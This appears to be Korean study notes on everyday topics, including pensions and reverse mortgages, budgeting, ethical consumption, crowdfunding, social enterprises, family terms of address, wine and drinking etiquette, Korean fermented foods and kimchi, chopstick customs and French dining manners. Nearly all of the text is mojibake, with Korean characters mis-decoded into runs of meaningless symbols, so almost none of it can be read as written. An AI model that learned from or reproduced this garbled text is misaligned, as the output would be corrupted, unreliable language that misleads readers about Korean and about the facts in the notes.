์ฃฝ์๋ ๊น์ง ์ง๊ธ๋๋ ์ฐ๊ธ์ํ, ์๋์ด ์๋ ๊ตญ๋ฏผ์ด๋ผ๋ฉด ์๋ฌด ๊ฐ์
์ฐ๊ธ์ง๊ธ ์์ (61~65์ธ) ๋ณดํ๋ฃ๋ ์๋์ 9% ์ง์ฅ์ธ์ ์ ๋ฐ์ ๊ณ ์ฉ์ฃผ๊ฐ ๋ถ๋ด ๊ฐ์ธ์ฌ์
์๋ ์ฃผ๋ถ๋ ์ ์ก์ ์์ ์ด ๋ถ๋ด ํด์ง ์ฐ๊ธ ์ ๋
ํด์ง๊ธ : ๊ทผ๋ฌด๊ธฐ๊ฐ 1๋
์ ์ฑ์ธ ๋๋ง๋ค ํ ๋ฌ์น์ ์๊ธ์ ๋ชจ์๋จ๋ค๊ฐ ํ๋ฒ์ ์ฃผ๋ ๋ ์ผ์๊ธ/์ฐ๊ธ์ผ๋ก ๋๋์ด์ง๋ค ํด์ง๊ธ ์ ๋ (ํ์ฌ๊ฐ ํ์ฐ -> ๋ชป ๋๋ ค๋ฐ์)์ ๊ฐ์ ํ์ฌ ํด์ง์ฐ๊ธ ์ ๋ DBํ (ํ์ฌ๊ฐ ์ด์ฉ์ง์) : ์ํ ์๊ธ ๋ฐฉ์, ๊ทผ๋ก์๊ฐ ๋ฏธ๋ฆฌ ๊ธ์ก์ ์ ์ ์๋ค. DCํ (๊ทผ๋ก์๊ฐ ์ด์ฉ์ง์) : ์ฃผ๋ก ์ฃผ์์ด๋ ์ฑ๊ถ ํฌ์, ๊ธ์ก์ ์ ์ ์๋ค ์ฃผํ ์ฐ๊ธ ์ ๋ (์ญ๋ชจ๊ธฐ์ง๋ก )
๋ง 55์ธ ์ด์์ ๊ณ ๋ น์๊ฐ ๊ธ์ต๊ธฐ๊ด์ ์์ ์ด ์ด๊ณ ์๋ ์ฃผํ์ ๋ด๋ณด๋ก ์ ๊ณตํ ๋ค, ๋งค๋ฌ ๊ณ ์ ์ ์ธ ์ํ์๊ธ์ ์ฐ๊ธ์์ผ๋ก ๋ฐ๋ ์ฅ๊ธฐ์ฃผํ์ ๋น๋์ถ ๊ธ์ต์ ๋ณด : 20๋์ ๊ธ์ต์ง์์ ์๋ ๊ฒ์ ์ค์ํ๋ค
์ฌ๋ฌด๋ชฉํ ์ค์ ๋ฐฉ๋ฒ ํ๋ช
ํ ์๋น ์ํ ๊ฑด์ ํ ๊ฐ์น๊ด์ ๊ฐ์ง๊ณ , ์์ฐ ์ํ์ ์ค์ฒํ๋ ์ํ
์์ฐ ์ํ ํฌ์์ฑ์ ์์น : ์ฐ๋ฆฌ๊ฐ ๊ฐ์ง ์ฌํ๋ ๋ฌดํํ์ง ์๋ค ์๋น๊ฐ์น๊ด : ์๋น์ ์ฐ์ ์์์์ ์ด๋ค ํ๋ชฉ์ ์ฐ์ ์ํ ๊ฒ์ธ๊ฐ์ ๋ํ ๊ฐ์์ ์ ๋
๊ฐ์ฒ๋ถ ์๋ = ์ด ์๋ - ๋น์๋น์ง์ถ (์ธ๊ธ, ๊ตญ๋ฏผ์ฐ๊ธ, ๊ฑด๊ฐ๋ณดํ) ์์ฐ : ์ผ์ ๊ธฐ๊ฐ ๋์์ ๊ธฐ๋ ์์
์ ๊ธฐ์ดํ ์ง์ถ ๊ณํ ์์ฐ ์ํ์ ์ฅ์ ์์ ์ด ์ถ๊ตฌํด์ผํ ์ฌ๋ฌด์๊ตฌ๋ฅผ ๊ตฌ์ฒด์ ์ผ๋ก ์ ์ ์๋ค. ์์ ์ ์์
๊ธ์ก, ์ง์ถ๊ธ์ก ์ฌ๋ฌด์ํ๋ฅผ ํ์
ํ ์ ์๋ค. ์๋์ ๋๋ฆด ๋ฐฉ์์ด๋ ์๋น์ ์ด๋ค ๋ถ๋ถ์ ์ค์ฌ์ผ ํ๋์ง๋ฅผ ์ ์ ์๋ค. ๊ฒฐ๊ณผ๋ฅผ ํ๊ฐํจ์ผ๋ก์จ ๋ฌธ์ ์ ์ ์ฐพ๊ณ ๊ฐ์ ํด ๋๊ฐ ์ ์๋ค. ์ฌ๋ฌด ๋ชฉํ์ ์๊ฑด ํ์ค์ฑ ์๋ ๋ชฉํ ์ค์ ๊ตฌ์ฒด์ ์ด๋ฉด์ ์ธก์ ๊ฐ๋ฅํ ๋ชฉํ ์ค์ ๋ธ๋ ์ปจ์๋จธ ์๋น์ ๊ถ์ต ์๋น์๋ณดํธ๋ฒ์ ์ ์ ๋ ์ด๋๋ก 40๋
๊ฐ ์๋น์ ๊ถ์ต์ ์ฆ์ง์ํด ๋ธ๋์ปจ์๋จธ ๊ธฐ์
๋ฑ์ ์๋๋ก ๋ถ๋นํ ์ด์ต์ ์ทจํ๊ณ ์ ์ ํ์ ๊ตฌ๋งคํ ํ ๊ณ ์์ ์ผ๋ก ์
์ฑ ๋ฏผ์์ ์์ต์ ์ผ๋ก ์ ๊ธฐํ๋ ์
๋น๋งค๋ ์ปจ์๋จธ ๊ทผ๋ก์์๊ฒ ‘๊ฐ์ง’ํ๋ ์๋น์
๋ธ๋์ปจ์๋จธ๋ฅผ ํฌํจ
=> ‘๊ฐ์ง’์ ํผํด๋ฅผ ๋นํ๋ ๊ทผ๋ก์๊ฐ ๋ง์์ง์ ๋ฐ๋ผ ‘์ฐ์
์์ ๋ณด๊ฑด์ ’ ๊ฐ์
์ค๋ฆฌ์ ์๋น ์๋น์๊ฐ ๋ฌผ๊ฑด์ ๊ตฌ์
ํ ๋, ๊ฐ๊ฒฉ๊ณผ ํ์ง ๋ฟ๋ง ์๋๋ผ ์ฌํ์ ํ๊ฒฝ์ ๋ฏธ์น๋ ์ํฅ์ ๊ณ ๋ คํด์ผ ํ๋ค๋ ๊ฒ ์นํ๊ฒฝ ์๋น ์๊ฑฐ๋ ์๋น์ค๋ฆฌ ์ฌ์
์์ ๊ฑฐ๋ํ ๋ ์ ํด์ง ๊ณ์ฝ์ ์๋ฌด๋ฅผ ์งํค๋ ์ผ ๋ฐ์ด์ฝง : ์ค๋ฆฌ์ ์ผ๋ก ๋ฐ๋์งํ ์ ํ์ ๊ตฌ์
ํ๋ ๊ตฌ๋งค์ด๋ ๋ก์ปฌํธ๋ ์๋น ๊ณต์ ๋ฌด์ญ ์ํ ๊ตฌ๋งค ๊ธฐ๋ถ์ ๋๋ ํฌ๋ผ์ฐ๋ ํ๋ฉ ์จ๋ผ์ธ์ ํตํด ๋ค์์ ์์กํฌ์์๋ก๋ถํฐ ์๊ธ์ ์กฐ๋ฌํ๋ ๊ฒ ์ข
๋ฅ ๋ฆฌ์๋ํ : ์ ํ์ ์์ฐ์๊ฐ ๋ง๋ค์ด๋ด๋ฉด ์ผ๋ฐ์ธ์ด ์ ์ฃผ๋ฌธํด์ ๊ตฌ๋งคํ๋ ๊ฒฝ์ฐ ๊ธฐ๋ถํ : ๊ณต์ต์ ์ธ ํ๋ก์ ํธ๋ฅผ ์งํํ๊ธฐ ์ํด์ ๋ชจ์ผ๋ ๊ฒฝ์ฐ ๋์ถํ : ๊ฐ์ธ๋ค ์ฌ์ด์์ P2P ๋์ถ์ด ์ด๋ฃจ์ด์ง๊ณ , ๋ฆฌ์๋๋ก ์ด์๊ฐ ์ ๊ณต ํฌ์ํ : ํฌ์์๊ธ์ ์ง์ํ๊ณ ์ฃผ์ ๋ฐ ์ฑ๊ถ ๋ฑ์ ๋ณด์์ ๋ฐ์ ํ๋ฉ ๊ธฐํ ๋ด์ ๋ชฉํ๊ธ์ก์ ๋ชจ์ผ์ง ๋ชปํ๋ฉด ์๊ธ์ ๋ค์ ๋๋๋ ค ์ค๋ค ๋ฐ์ ๋ฐฐ๊ฒฝ ์ค๊ฐ ํ๋ซํผ๋ฑ์ฅ, SNSํ์์คํ, ๋์์ ๊ธฐ์
๊ธ์ต, ํฌ๋ผ์ฐ๋ํ๋ฉ๋ฒ ์ฌํ์ ๊ธฐ์
์ฌํ์ ๊ธฐ์
์๋ฆฌ ๊ธฐ์
๊ณผ ๋น์๋ฆฌ๊ธฐ์
์ ์ค๊ฐ ํํ
์ฌํ์ ๋ชฉ์ ์ ์ฐ์ ์ ์ผ๋ก ์ถ๊ตฌํ๋ฉด์, ์ฌํ์ ์๋น์ค์ ์์ฐํ๋งค ๋ฑ ์์
ํ๋์ ์ํํ๋ ๊ธฐ์
๊ณต๊ณต์ฑ๊ณผ ์์ต์ฑ
(๊ณต๊ณต์ฑ) ์์๋ด์ฌ <- NGO <- ์ฌํ์ ๊ธฐ์
-> ํ๋์กฐํฉ -> ์ผ๋ฐ๊ธฐ์
(์์ต์ฑ)
์ฑ๊ณต๋ฐฉ์
์๋ฆฌ๊ธฐ์
๊ณผ ์ฌํ์ ๊ธฐ์
๊ฐ์ ํํธ๋์ญ์ ๋ชจ์ํ ๊ฒ ์ข
๋ฅ
์ผ์๋ฆฌ์ ๊ณตํ : ์ทจ์ฝ๊ณ์ธต์๊ฒ ์ผ์๋ฆฌ๋ฅผ 30% ์ด์ ์ ๊ณตํ๋ ๊ฒฝ์ฐ ์ฌํ์๋น์ค์ ๊ณตํ : ์ทจ์ฝ๊ณ์ธต์ 30% ์ด์์๊ฒ ์ฌํ์๋น์ค๋ฅผ ์ํํ ๊ฒฝ์ฐ ํผํฉํ : ์ทจ์ฝ๊ณ์ธต์๊ฒ ์ผ์๋ฆฌ๋ ์ฌํ ์๋น์ค๋ฅผ ๊ฐ์ด ์ ๊ณตํ๋ ๊ฒฝ์ฐ ์ง์ญ์ฌํ๊ณตํํ : ๋ง์์ ๊ฒฝ์ ์ , ์ฌํ์ , ๋ฌธํ์ ํ์ฑํ์ ๊ณตํํ๋ ๊ฒฝ์ฐ ๊ธฐํํ : ์ฐฝ์์ , ํ์ ์ ๋ฐฉ์์ผ๋ก ์ฌํ๋ฌธ์ ๋ฅผ ํด๊ฒฐํ๊ณ ์ ๋
ธ๋ ฅํ ๊ฒฝ์ฐ ์์
๋ฒค์ฒ ๊ฒฝ์ฐ๋ํ
์ฌํ์ ๊ธฐ์
์ ์ฐฝ์
์์ด๋์ด๋ฅผ ๋ฐ๊ตดํ๊ณ ์ฌ์
ํ๋ฅผ ์ง์ํ๋ ๋ํ ์ปค๋ฎค๋์ผ์ด์
๋งค๋ ๋ ์ ๋ฌ๋ฒ (I-Message) ๋๋ฅผ ์ฃผ์ด๋ก ์์ ์ ๊ฐ์ ์ด๋ ์๊ฐ์ ํํํ๋ ์ ๋ฌ๋ฒ
๋ํ์ ํ๋ ฅ์ฑ ๋์์ ์ฌ๊ณ : ์นจ๋ฌต์ ๊ธ์ด๋ค, ์ผ๋ฐฉํตํํ ์์์ ์ฌ๊ณ : ๋ํ๋ ์๋ฐฉํฅ, ๋ฆฌ์ก์
์ค์ ๋จ์ฑ์ ๊ฒฐํผ ํ ๊ฐ์กฑ๊ฐ์ ํธ์นญ ๊ตฌ๋ถ ํธ์นญ (์ง์ ) ์ง์นญ(3์) ์๋ด์ ์๋ฒ์ง ์ฅ์ธ์ด๋ฅธ, ์๋ฒ๋ ์ฅ์ธ์ด๋ฅธ, OO ์ธํ ์๋ฒ์ง ์๋ด์ ์ด๋จธ๋ ์ฅ๋ชจ๋, ์ด๋จธ๋ ์ฅ๋ชจ๋, OO ์ธํ ๋จธ๋ ์๋ด ์ฌ๋ณด, OO์๋ง, ์์, ๋น์ ์ง์ฌ๋, ์์ฌ๋, OO์๋ง, ์๋ด ์๋ด์ ์ค๋น ํ๋ ์ข๋ ์๋ด์ ๋จ๋์ ์ฒ๋จ, ์๋ค ์ข๋ ์๋ด์ ์ธ๋ ์ฒํ ์ข๋ ์๋ด์ ์ฌ๋์ ์ฒ์ ์ข๋ ๋ธ์ ๋จํธ O์๋ฐฉ ์ฐ๋ฆฌ ์ฌ์ ์ฌ์ฑ์ ๊ฒฐํผ ํ ๊ฐ์กฑ๊ฐ์ ํธ์นญ ๊ตฌ๋ถ ํธ์นญ (์ง์ ) ์ง์นญ(3์) ๋จํธ์ ์๋ฒ์ง ์๋ฒ๋ ์์๋ฒ์ง, OO ํ ์๋ฒ์ง ๋จํธ์ ์ด๋จธ๋ ์ด๋จธ๋ ์์ด๋จธ๋, OO ํ ๋จธ๋ ๋จํธ ์ฌ๋ณด, OO์๋น , ๋น์ , ์๊ฐ ๋จํธ, ์๋ฒ, ๊ทธ ์ด ๋จํธ์ ํ ์์ฃผ๋ฒ๋ ์์ฃผ๋ฒ๋, ์์ ๋จํธ์ ๋จ๋์ ๋๋ จ๋(๊ธฐํผ), ์๋ฐฉ๋(๊ธฐํผ) ์๋์ ๋จํธ์ ๋๋ ํ๋ ์๋์ด ๋จํธ์ ์ฌ๋์ ์๊ฐ์จ ์๋์ด ์๋ค์ ์๋ด ์๊ฐ, ์์๊ฐ ์ฐ๋ฆฌ ๋ฉฐ๋์ ํ ๋ก ์ ๊ฒฝ์ฒญ์์ ๋งค๋ SMART ๊ฒฝ์ฒญ๋ฒ Subject (ํ ๋ก ์ ์ฃผ์ ์๊ฐ) Materials (์ธ์ฉํ๋ ์๋ฃ์ ์ถ์ฒ ์ ์) Assertion (์ฃผ์ฅ์ด ๋ฌด์์ธ์ง ํ์
) Reaction (๋ฐ์[๋์/๋ฐ๋]์ ์ด๋ป๊ฒ ํ ์ง ์๊ฐ) Trademark (๋ค๋ฅธ ์ฌ๋์ ์ฃผ์ฅ๊ณผ ๊ตฌ๋ณ๋๋ ํน์์ด ๋ฌด์์ธ์ง ์ฐพ์๋ณธ๋ค) ํต์ ๋งค๋ (ํธ์ง) ์๋ถ ํธ์ง : ๊ฒฉ์์ ์ฐจ๋ฆด ํ์ ์์ ๊ฐ์ฌ ํธ์ง : ํ์ฌ ํ 2~3์ผ ์ด๋ด ์ ์ํ๊ฒ ๋ณด๋ผ ๊ฒ ์ด์ฒญํธ์ง : 2์ฃผ~4์ฃผ ์ ์ ์กํ์์น์ ๋ง์ถ์ด ๋ณด๋ผ ๊ฒ ์๋กํธ์ง : ํ ๊น ๋ง๊น ๊ณ ๋ฏผ๋๋ฉด ์ฐ์, ์ง์ ์ฑ๊ณผ ๋ฐ๋ปํ ๋ง์์ ํํํ ๊ฒ ์์ฃผ๋งค๋(1) ์ ํฌ๋์ฃผ 12-13๋ ์ก๋ฅ์๋ฆฌ์ ์ ํฉ
๋ฐฑํฌ๋์ฃผ 10-13๋, ์์ ์๋ฆฌ์ ์ ํฉ
๋ก์ 6-8๋, ์์ , ํด๋ฌผ๋ฅ, ๋ญ๊ณ ๊ธฐ์ ์ด์ธ๋ฆผ
์์ด์ค์์ธ ๋น๋๊ฐ ๋๊ณ ๊ณผ์ผ ํฅ์ด ์งํจ
๋์ ํธ ์์ธ 18๋ ์ ํ
์คํํด๋ง ์์ธ 10-14๋, ํํฐ์ฉ
ํฌ๋์ฃผ ๋ผ๋ฒจ ์์ธ์ด๋ฆ ์์ฐ์ง ์์ด๋๋ฆฌ(์์กฐ์ฅ) ์ด๋ฆ ์์กฐ์ฅ ์ค๋ฆฝ๋
๋ ๋น๋ ์์ธ์ ๋น๋ ์ดํ๋ฆฌ์ : (dry) <- ์ธ์ฝ <- ์๋ณด์นดํ <-> ์๋ง๋น๋ -> ๋์ฒด -> (sweet) ํ๋์ค : (dry) <- ๋ธ๋ฆฌ <- ์ธํฌ <-> ๋์ค -> (๋ฏ์๋ , ๋ฆฌํ๋ฅด) -> (sweet) ์์ธ์์ ์ข
๋ฅ (์ฌ์ง์๋ฃ) ๋ณด๋ฅด๋ (๋ ๋์์ธ ์), ๋ถ๋ฅด๊ณ ๋ด(๋ ๋์์ธ ์) ํ์ดํธ์์ธ ์, ์คํํด๋ง ์์ธ ์ (์ดํ์ธ ์) ์์ธ ๋ฐ๋ฅด๋ ๋ฐฉ๋ฒ ๋ผ๋ฒจ์ ๊ฐ๋ฆฌ์ง ์๊ฒ ์ก๋๋ค ๋ ๋์์ธ์ ์์ 1/3 ์ฑ์, ์คํํด๋ฆฌ์์ธ์ 2/3 ์ฑ์ ์์ธ์ ์์ด ์ ์ด์ง๋ฉด ์์ธ์ ์จ๋๊ฐ ์ฌ๋ผ๊ฐ์ ๋ง์ด ๋ํจ, ์๋๋ฐฉ ์ํฅ์ ๋ฌผ์ด๋ณด๊ณ ์ฒจ์ ์์ธ ๋ฐ๋ ๋ฐฉ๋ฒ ์์ ํ
์ด๋ธ์ ๋์ ์ฑ ์์ ๋ฐ ๋ถ๋ถ์ ์์ ๋ ์ฑ ๋ฐ๋๋ค ์ค์๋ง : ์์ ์คํ
์ ์ก๊ณ ํ์ชฝ ๋ฐฉํฅ์ผ๋ก ํ์ -> ํฅ์ ํ๋ถํ๊ฒ ์์ฃผ๋งค๋(2) ํํฐ์์ ์์ธ์ ๋ฐ๋ฅด๋ ๋งค๋ ๋จ์ฑ ํธ์คํธ๊ฐ ๋จผ์ ํ
์ด์คํ
-> ์์์ ์์ ์ฌ์ฑ -> ์๊ณ๋ฐฉํฅ ์ฌ์ฑ๋ง -> ๋จ์ฑ -> ์ฃผ์ธ ์์ผ๋ก ๋ฐ๋ฆ ๋จ์ ์ ๋ณด๊ด ๋ฐฉ๋ฒ ์ผ๋ฐ์ : ์๋ํ ๊ณณ์ ๋ณ์ ๋์ด์ ์ ๋ฌธ์ : ์์ธ๋ณ ์์ ๊ณต๊ธฐ๋ฅผ ์ต์ํ ์์ฃผ์ ์ข
๋ฅ ๋ธ๋๋ : ์ฆ๋ฅํ ํฌ๋์ฃผ, 40~42๋ ์์คํค : ๊ณก์ฃผ๋ฅผ ์ฆ๋ฅํ ์ ๋ณด๋์นด : 3 ็ก (๋ฌด์, ๋ฌด์ทจ, ๋ฌด๋ฏธ), ์์ฃผ ์ฐจ๊ฒํ์ฌ ํ๋ฒ์ ๋ง์ฌ ๋ฐํฌ๋ผ : ์ฉ์ค๋์ ์ฆ์ ์คํ ๋ฃ๊ณ ๋ฐํจ, 40๋~60๋ ์ค๊ตญ ์๋์ ์ด์ฒญํ ๊ฒฝ์ฐ ๋ง์ด ๋ง์๋๋ก ๊ถํจ, ์ฒจ์๋ฌธํ ์ผ๋ณธ ์ด์์นด์ผ, ์๊ธฐ ์ฃผ๋๋งํผ ๋ง์ฌ, ์ฒจ์ ๋ฐฉ์, ํ์์ผ๋ก ๋ฐ๋ฅด๊ณ ๋ฐ์, ์๋ฆฌ๊นก (๊ฐ์ ๋ถ๋ด) ํ๋์ค ์์ ์ฃผ๋ฅผ ์์ ์์ ๋ง์ฌ ๋ฐฑํฌ๋์ฃผ, ์ํธ๋ (์ ์ฑ์๋ฆฌ) ์ ๊ณต ์ ํฌ๋์ฃผ, ๋ณธ์์ฌ ์ ๊ณต ์ ์ข
๋ฅ๋ง๋ค ์์ด ๋ค๋ฆ ์์ฌ ๋๋๋ฉด ์ปคํผ, ์ฝ๋ ๋
์ผ ์์ฃผ๊ฐ ์ํ์ ์ผ๋ถ, ๋ค๋ฅธ ์ฌ๋์๊ฒ ์ ์ ๊ถํ์ง ์์ ์๊ตญ ์ค์ฝํ๋๋ ์์คํค(์ค์นด์น) ์ ๋ช
๋ฏธ๊ตญ ์ฅ์ธ์์ ์์ฃผ ๊ธ์ง, ์ผ์์ผ์๋ ์ ์ ํ์ง ์์ ๋ฌ์์ ๋ณด๋์นด๋ฅผ ์ข์ํจ ๋ณตํต->(๋ณด๋์นด+์๊ธ), ๊ฐ๊ธฐ->(๋ณด๋์นด+ํ์ถ), ์ปจ๋์
์ ํ(๋ณด๋์นด+ ๋ง๋ ๋๋ ์ํ) ํก์ฐ๋งค๋ ๋ด๋ฐฐ ์ ์ ํด๋ฌผ์ง ์ผ์ฐํํ์ : ํค๋ชจ๊ธ๋ก๋น๊ณผ ๊ฒฐํฉํ์ฌ, ์ฐ์๊ณต๊ธ์ ์ ํ์ํด -> ์ฐ์์ผํฌ ๋์ฝํด : ๋ํ๋ฏผ ๋ถ๋น -> ์์ ๊ฐ, ๊ธด์ฅ๊ฐ ํด์ ํ๋ฅด : ํํผ์ธํฌ ๋ฑ์ ํ๊ดดํ๊ฑฐ๋ ์ผ์ฆ์ ์ผ์ผํด ํ๊ตญ ์์ ํน์ง ์ฃผ์๊ณผ ๋ถ์์ ๊ตฌ๋ถ (์ฃผ์ : ๋ฐฅ) ๊ณก๋ฅ์ ๋ค์ํ ์กฐ๋ฆฌ๋ฒ ๋ฐํจ ๋ฐ ์ ์ฅ ์ํ์ ๋ฐ๋ฌ ์ฐ๋ฆฌ๋๋ผ 5๋ ๋ฐํจ์ํ : ์ฅ๋ฅ, ๊น์น, ์์ด๋ฅ, ํด๋ฅ, ์ฃผ๋ฅ ์ ์(๋ช
์ ์์)๊ณผ ์์(๊ณ์ ์์) ์๊ทน์ ์ธ ๋ง : ๋ถ์์ ๊ณ ์ถง๊ฐ๋ฃจ, ๋ง๋, ์๊ฐ ๋ฑ ์ฌ์ฉ ๊ณต๊ฐ์ ๊ฐํ ์์ฐจ๋ฆผ : ์ํ์์ ํ๋ฒ์ ์ ๋ถ ์ฐจ๋ ค๋ ๊น์น์ ๋ฐํจ ์๋ฆฌ ๋ฌด, ๋ฐฐ์ถ์ ํจ์๊ฐ ๋น๊ณผ ์๋ฏธ๋
ธ์ฐ์ ๋ง๋ฌ ์ ์ฐ๊ท (๋ฏธ์๋ฌผ์ ํ ์ข
๋ฅ) ์๊น ์ ์ฐ๊ณผ ์๊ธ์ด ๋ง๋ ์ ์ฐ์ ์์ฑ ์ ์ฐ๊ท ์ด ๋ค๋ฅธ ๋ฏธ์๋ฌผ์ ์ ๊ฑฐ ๊น์น๋ ์ ์ฐ์ ์ํด ๋ฐํจ๋จ ์ฐ๋ฆฌ๋๋ผ ์ง์ญ๋ณ ๊น์น ์ข
๋ฅ ์ง์ญ ๊น์น ์ข
๋ฅ ํน์ง ํ์๋ ๋ฐฑ๊น์น, ๊ฐ์ง๊น์น ์๊ณ ๊ธฐ ์ก์ ์ฌ์ฉ ๊ฐ์๋ ์ค์ง์ด๊น์น, ๋๋๊น์น ์ฑ์์ ํด๋ฌผ ์ฌ์ฉ ์์ธ, ๊ฒฝ๊ธฐ๋ ๋ณด์๊น์น, ์ค์ด์๋ฐ์ด ์์ฐ์ , ์กฐ๊ธฐ์ ์ฌ์ฉ ์ถฉ์ฒญ๋ ๋๋ฐ๊น์น, ํธ๋ฐ๊น์น ์ํ๊ณ ๊ตฌ์ํ ๋ง ๊ฒฝ์๋ ๋ถ์ถ๊น์น, ๊นป์ ๊น์น ์งํ ์ ๊ฐ ๋ง, ์๊ทน์ ์ด๊ณ ๋งค์ ์ ๋ผ๋ ๊ณ ๋ค๋นผ๊ธฐ, ๋์ฃผ๋์น๋ฏธ ๋ค์ํ ์ ๊ฐ๊ณผ ํด์ฐ๋ฌผ๋ก ๊น์ ๋ง ์ ์ฃผ๋ ์ ๋ณต๊น์น ์ ์ ์๋
์ผ๋ก ์ฌ๋ฃ์ ์๋ ๋ง์ ์ด๋ฆผ ์์ ์์๊ณผ ๋น๊ต ํ๊ตญ ์์ : ์ต์ด์กฐ๋ฆฌ (steaming) ๋ฐฉ์์ ์จ์ ์๊ฐ๋ฝ ๋๋น ์ฌ์ฉ ์์ ์์ : ๊ฑด์ด์กฐ๋ฆฌ (roasting) ๋ฐฉ์์ ์ํด ํฌ๊ณผ ์ค๋ธ ์ฌ์ฉ, ํฌํฌ ๋์ดํ ์ฌ์ฉ ๊ธ๋ก๋ฒ์ ํต์์ : ๋ธ๋ผ์ง, ์ค๊ตญ ํ๊ตญ, ์ผ๋ณธ, ์ค๊ตญ์ ์ ๊ฐ๋ฝ ๋น๊ต ํ๊ตญ ์ผ๋ณธ ์ค๊ตญ ๋ช
์นญ ์ ๊ฐ๋ฝ ํ์ ์ฝฐ์ด์ฆ ์ฌ์ง ๊ธ์ ๋๋ฌด ํ๋ผ์คํฑ, ๋๋๋ฌด ํํ ๋ฉ์ํ๊ณ , ๊ตต๊ธฐ ์ฐจ์ด๊ฐ ์ ๋ค ๋์ด ๋พฐ์กฑํ๊ณ ๊ธธ์ด๊ฐ ์งง๋ค, ๊ตต๊ธฐ ์ฐจ์ด๊ฐ ํฌ๋ค ๊ธธ์ด๊ฐ ๊ธธ๋ค, ๊ตต๊ธฐ ์ฐจ์ด๊ฐ ํฌ๋ค ์ค๊ตญ์ ์์ฌ ์์ ํฐ ์ ์์ ์์์ ๋๋์ด ๋จน๋๋ค ์ข์๋ฐฐ์น : ์ฃผ๋น์ด ๋๋ ์๋์ด ์์(์์ชฝ)์ ์๊ณ ์ฃผ์ธ์ ํ์ (๋ฐ๊นฅ์ชฝ)์ ์๋๋ค ์ฃผ๋น ์ฐ์ : ์์์ด ๋์ค๋ฉด ์ฃผ๋น ์์ ๋๊ณ , ์ ์ ์ข
๋ฅ๋ ๋ฌผ์ด์ ์ ํ๋ค ์คํผ์ ํ์ ๋จน์ ๋๋ง ์ฌ์ฉ, ๋ฐฅ์ด๋ ํ์ด ๋ด๊ธด ๊ทธ๋ฆ์ ๋ค๊ณ ๋จน๋๋ค. ์ฌ์ฉํ ์๊ฐ๋ฝ์ ๋ค์ง์ด ๋๋๋ค ํ์ ์ํ : ์์์ ๊ฐ์ด ๋๋ ค์ค๋ค. ๊ฐ์ธ ์ ์๋ ์ปต์ ๋์ง ์๋๋ค. ๊ธ๋ก๋ฒ ์ ํต์์ : ํ๋์ค ํ๋์ค์์ ๊ธ๊ธฐ์ ๋๋ ํ๋ ์ฌ๋ ์์์ ์ฝ๋ฅผ ํ์ฉ ๊ฑฐ๋ฆฌ๋ ํ๋ ๋ฐ์์ ๋ค๋ฅธ ์ฌ๋๊ณผ ๋ชธ์ด ๋ฟ์์ ๋ ์ฌ๊ณผ๋ฅผ ํ์ง ์๋ ํ๋ ์๋น์์ ์ง์์ ๋ถ๋ฅด๋ ํ๋ (๋์ด ๋ง์ฃผ์น๋ฉด ๋์ง์ผ๋ก ํธ์ถ) ์ธ๋ชจ (๋ฐ๊ฟ ์ ์๋ ๊ฒ)์ ๋ํ ์๊ธฐ (์นํ ์ฌ์ด๋ผ๋) ๋ชจ๋ฅด๋ ์ฌ๋๊ณผ ๋์ด ๋ง์ฃผ์น๋ ๊ฒ ํ๋์ค ์ฝ์ค ์๋ฆฌ ์์
์ํ๋ฆฌํฐํ(์์ ์ฃผ) ์ํธ๋ / ์คํ ๋๋ธํ ์ ๋ผ (์์ ์๋ฆฌ / ์ก๋ฅ ์๋ฆฌ) ํ๋ก๋ง์ฅฌ (์น์ฆ) ๋์ ํธ ์ปคํผ / ์ฐจ ํ
์ด๋ธ ๋งค๋
์ด๋์์๊ฒ ๊ฐ์ฌ์ ํ์๋ก ๊ฝ์ด๋ ํฌ๋์ฃผ, ํ์ด ๋ฑ์ ๊ฐ๋ฒผ์ด ์ ๋ฌผ์ ํ๊ณ , ์ ๋ฌผ์ ์์ฃผ์ธ์๊ฒ ๊ฑด๋ธ๋ค ๋ฏธ๋ฆฌ ์ด์ผ๊ธฐ ๋ ๊ฒ์ด ์๋๋ฉด, ์์์ ์ ๋ฌผํ์ง ๋ง์, ๊ณผ์๋ ์ผ์์ด ์ค๋ณต๋์ง ์๋๋ก ํ๋ค ์์์ ์ ๋ ๋จ๊ธฐ์ง ์๋๋ค (๋ง ์์ด์ ๋จ๊ธด๊ฑธ๋ก ๊ฐ์ฃผ) ์์์ด ๋ฐ๋ ๋๋ง๋ค “๋ง์๋ค"๋ ์นญ์ฐฌ์ ๋นผ๋์์๋ ์๋๋ค ํ๋์ค ์์ธ ์ถ์
๋ณด๋ฅด๋ ์์ธ ํ์คํฐ๋ฒ ๋ณด์กธ๋ ๋๋ณด ์ถ์ ํ๋์ค ๋ํ ์์
๋ฐ๊ฒํธ : ๋ฐ๊ฐ๋ฃจ + ๋ฌผ + ์๊ธ + ์ด์คํธ ํฌ๋ก์์ : ๋ฐ๊ฒํธ ์ฌ๋ฃ + ์คํ + ๋ฒํฐ + ๋ถ์ ์์ค๊น๋ฅด๊ณ : ์์ฉ ๋ฌํฝ์ด ํธ์๊ทธ๋ผ : ์ง๋ฐฉ์ด ๋ง์ ๊ฑฐ์์ ๊ฐ ํฌ๋ ํ : ๋ฐ๊ฐ๋ฃจ๋ ๋ฉ๋ฐ๊ฐ๋ฃจ ๋ฐ์ฃฝ์ ์๊ฒ ๋ถ์น๊ณ ๊ทธ ์์ ๋ค์ํ ์์ฌ๋ฃ๋ฅผ ์น์ด ์ธ๋จน๋ ๋ฐฉ์